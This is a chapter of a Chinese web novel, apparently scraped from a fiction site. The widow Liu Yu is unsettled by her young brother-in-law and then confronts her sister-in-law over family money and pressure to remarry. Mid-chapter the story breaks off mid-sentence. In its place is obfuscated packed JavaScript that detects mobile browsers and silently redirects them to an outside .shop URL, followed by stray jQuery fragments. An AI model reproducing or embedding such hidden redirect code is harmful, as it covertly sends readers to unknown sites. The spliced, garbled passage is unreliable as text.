文趣网 > 都市小说 > 与兄妻 > 18. 第十八章
    “惠哥儿,明日走之前将你的被褥枕巾,还有衣裳都拿出来,梅雨季要到了,连着小半月的湿热,晒一晒免得生虫。”

    柳玉一面将墙角的柴火盖上油布一面冲亮着灯的屋舍道,就这一会儿说话的功夫,竹门被轻轻推开。

    江惠知快步走到柳玉跟前,抬手捏住油布的另一边,两人合力之下将油布盖的整齐,又拿了块砖头将四角压上。

    做完这些柳玉心里头总算舒坦了些,自上回从张婶子家回来后,一到夜晚总感觉身上黏糊糊的,像是被什么脏东西盯上了似的。

    “好了,这会儿蚊子多,你快进去温书吧。”柳玉背对着江惠知踮脚朝院外看了一眼。

    不远处的槐树被微风吹的摇晃,平常这个点儿多的是妇人在那儿纳凉,最近许是怕蛇虫,来的人都少了不少。

    柳玉回头,就见江惠知还站在原地,楞楞的盯着她的背影不知道在想些什么,那双漆黑的眼睛沁在昏暗的夜色里,无端让她想起昨夜梦里那张诡艳的面庞。

    她吓得手一抖,这才后知后觉的拍了拍胸膛。

    “怎么了?”

    江惠知晚间刚沐过发,发丝半干的垂在腰后,一身青衫更衬的面容白皙,他缓步上前,伸出手,指尖停留在柳玉胸口半寸处。

    他抬了抬眸子,察觉妇人身躯微微一缩,他扬起一抹笑意:“嫂嫂,你这里……”

    柳玉顺着他目光低头,却见胸口处不知何时撕裂一个细小的的口子,许是方才拉扯油布时用力过猛,堪堪露出一抹素色里衣。

    柳玉面颊猛地涨红,“这……这可怎么办才好……多……多谢惠哥儿了。”

    她说的语无伦次,掌心将胸口处并不明显的缝隙死死捂住,心口处剧烈跳动,臊的恨不得转身离去。

    又见江惠知这副磊落的模样,更让她觉得自己多想了,暗暗恼恨这段时日疑心疑鬼,惠哥儿不过是提醒她一句,她便胡思乱想,一个孩子哪里懂那么多?

    “时候不早了,我先去睡了,你也早些歇息。”

    柳玉见江惠知不说话急匆匆道,没等他答便快步回了卧房。

    回了屋柳玉将窗台合上,这才走到角落点燃一盏酥油灯。

    借着烛火柳玉看见这裂了一道口子的衣裳心疼的直吸气,这细葛还是江善在镇上卖了好些兔子才买上一匹。

    这布料金贵,最忌讳粗针大线,但凡针脚大些,就要在布料上留下针眼。

    她叹了一口气,心里盘算着什么时候去镇上找裁缝来补一补。

    尽管如此,柳玉还是心疼的翻来覆去一夜都没怎么睡好。

    早晨起时江惠知已经出了门,灶台上热着两个馒头,木盆里依旧是温热的温水。

    柳玉洗漱完就将屋内的被褥都抱出来晒,不出意外,这应该是七月的最后一个晴天。

    “柳?你在不在家!”

    门外传来熟悉的声音,柳玉手一跳,忙将手中的被褥放到一旁去开门。

    “嫂子。”

    柳玉细细的唤了一声,张玉茹却不买她这个账,将柳玉挤开,径直走到堂屋,打眼瞧见案台上供奉的牌位,她嗤笑一声。

    “真是嫁出去的姑娘泼出去的水啊。”张玉茹将信件往木桌上一拍,震的桌上的粗瓷杯都抖上三抖。

    一看见这信柳玉面上闪过一丝局促,她抿了抿唇,张玉茹瞧她这副模样更是气的肺里如同火烧。

    “你大哥说你养不熟我还不信,现在这么一看,哟嘿!还真就不假!”

    张玉茹叉着腰,指尖重重点在那封被打开过的家书上。

    “要不是那送信的给我念了念,我还不晓得你要拿我儿子的人情给你小叔子铺路。”张玉茹冷笑一声:“那可是钦州城里的白鹤书院?你真是好大一张脸呐!”

    柳玉深吸一口气,她走上前拿起那封信,杏眼依旧温和:“我只是让书真帮忙问问还收不收学生。”

    “问问?”张玉茹眉尖拧起:“你平日里怎么胡来我管不着,总归不是我姓柳的事儿,可书真可是有大前途的,他要是在夫子跟前开口,那些城里头的同窗谁还能看得起他?”

    “玉娘,书真平日里对你比我这个阿娘还要亲近,你不能这个节骨点儿的去害他呀!”

    张玉茹这番话说的和缓,但话里话外都是柳玉这个做姑姑的不懂事,耽搁了侄儿的前程。

    哪怕柳玉再迟钝,此刻也听出了嫂子的言外之意,她深吸一口气,先前是她不懂书院里的弯弯绕绕,只当是问一嘴的事儿,没想给书真带来麻烦。

    “我晓得的嫂子,往后不会了。”

    张玉茹闻言这才勉强消下火气,她目光看向江善的牌位,想起来前婆婆的嘱托。

    她眼睛在柳玉裙角转了一圈:“你阿娘病的厉害,说让你过几天回去一趟。”

    柳玉顿了顿,她不信她阿娘是真的病了,每次让她回娘家十次有八次是为了银钱,另外两次就是让她拿些家里的东西去贴补娘家。

    但这回柳玉几乎立马就能想到她阿娘打的什么算盘。

    “我家里没什么银钱,我也不打算再改嫁。”柳玉声音细软,杏眼柔和,依旧跟往常一样一副柔柔弱弱的目光,说出的话却让张玉茹十分意外。

    毕竟这个小姑子在娘家向来跟块面团似的,被她婆婆拿捏的死死的。

    而她婆婆竟还真的预料到柳玉不会轻易妥协。

    “你阿娘说,不回去就拿些银钱给她买药。”

    柳玉想起上回村长的模样,连村长她都不怕了,难道阿娘比村长还有可怕吗?

    他们能拿我怎么样呢?

    柳玉心里无端冒出这个想法,这个想法就像是春日里疯狂生长的藤蔓,一发不可收拾。

    “我家里已经拿不出多的银钱了。”

    等她回神时,话已经说出口,她连忙找补。

    “我成亲时善哥给的彩礼去哪儿了?那笔银钱数目不少,阿娘若是急,便用那笔银钱就成。”

    张玉茹想要劝说的话语一滞,像是被什么东西捏住了喉咙支支吾吾的一句话也说不出来。

    “那钱……那钱是你阿娘拿着了,我哪里知道?你给你阿娘的抓药钱另算就是,我以前哪回来姑爷出钱出的痛快的很,怎么他死了你反倒磨蹭起来。”

    柳玉听到她提起江善,又想起江善每次从镇上卖猎物回来手上的

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17865492|212177||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    银钱总是对不上,她还以为是他藏了私房,现在看来只怕是她娘家三番五次的寻江善要银钱。

    他顾忌她才次次忍让。

    想到这儿,她转身进了卧房从妆匣最底下拿出一个镯子来。

    镯子是木头雕的,上头刻着几朵精致的小花儿。

    “嫂子,你前年除夕时拿着这镯子来同善哥换了多少银子?”柳玉试探道。

    张玉茹视线落在那枚漂亮却廉价的手镯上,眼神闪躲,方才那点张牙舞爪的怒气瞬间消失殆尽。

    “是娘……是你娘让我来的,是我不好意思!我才留下一只镯子压给你们。”

    谈起王桂花,张玉茹的地底气一点一点回拢,说到最后心中最后那一点儿心虚也消失殆尽。

    “那银钱还不是给你老柳家的孙子花了,”张玉茹上下将柳玉打量一番:“书真好了,你这个做姑姑的难道不享他的福么?”

    柳玉简直要气笑,平日里这个大嫂虽嘴毒却从未做过伤害她的事,甚至还在她出嫁时还用自己的私房给她添妆,所以她心中一直顾念着那点儿姑嫂情分。

    每回会娘家这个大嫂的礼是最重的,大哥一家三番五次来找她借银钱,她也看在这事儿上从未开口催还过。

    却不想大嫂心里是这么想她的。

    “大嫂,柳家跟我有什么关系?”柳玉反问:“你刚才也说了,嫁出去的姑娘泼出去的水,我还能享到你柳家的福?”

    柳玉这番话说的又冷又硬,几乎是奔着撕破脸去的。

    张玉茹整个人一懵,彻底怔在原地,好半晌才道:“我……我不是这个意思。”

    话虽这么说,柳玉却看的分明,这个嫂子是对她有几分好心,可若是真要碍到她什么事儿了,她也是第一个翻脸不认人。

    更何况她想起从前江善喝的是白水,吃的是糙米,连件好衣裳的舍不得穿,只怕是省下来的银钱都进了她娘家的无底洞。

    可他连句抱怨的话都没说过。

    想到这里柳玉的心就又酸又胀,连带着艾草香灰味儿也刺鼻起来。

    “嫂子,我知道你这遭来是谁的意思。”柳玉抿了抿唇,又给张玉茹倒了杯茶:“我出嫁时阿娘说我以后不再是柳家人,我也不当自己是柳家人。”

    “所以,您回去跟我阿娘说,我不会再嫁,她若是不认我……”

    柳玉抬眸,杏眼弯了弯:“借给你们的银钱,就当全了一场我们的母女情分。”

    张玉茹心一慌,她哪里见过这个素来怯懦的小姑子这副模样,知道她是动了真格。

    忙劝:“你这是说的什么话,没有就是没有,我们还能硬逼你不成。”

    柳玉笑了笑,将镯子连带着信封塞回张玉茹手里。

    “嫂子快回吧,惠哥儿的被褥若是今天再不晒,怕是要生虫发霉了。“

    柳玉茹捏着手心薄薄的信件,因为她生了个好儿子,在婆家不仅不受气,几个妯娌还得上赶着巴结她。

    这回明明是来问罪的,受了一肚子气还得伏低做小,凭什么?

    张玉茹越想越气,将镯子塞回手腕:“好,既然你都这么说了,我一定把话给阿娘带到!”